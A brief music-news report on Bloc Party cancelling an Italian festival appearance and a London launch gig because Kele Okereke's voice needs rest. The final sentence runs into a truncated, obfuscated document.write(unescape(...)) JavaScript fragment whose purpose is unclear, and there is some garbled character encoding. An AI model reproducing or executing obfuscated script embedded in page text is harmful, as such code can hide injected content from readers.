Bloc Party have pulled some live dates due to problems with Kele Okereke's voice.
After suffering a sore throat during the Carling Weekend: Reading And Leeds Festivals Kele went to a specialist doctor who advised to rest for a week.
As a result a festival appearance at the I-Days Festival in Italy and a gig tomorrow (September 2) in London have been pulled.
A spokesperson for the band told NME.COM: “Kele has just been in to see a Harley Street specialist regarding his voice He had a few problems this weekend prior to the Reading show and has been hoarse ever since. He has been ordered to rest it completely for a week therefore we will have to cancel both the I-days Fest in Italy and the Virgin Digital launch on Friday.â€
The band's performance at the Mercury Music Prize next week and their North American and UK tour dates will not be affected.document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;
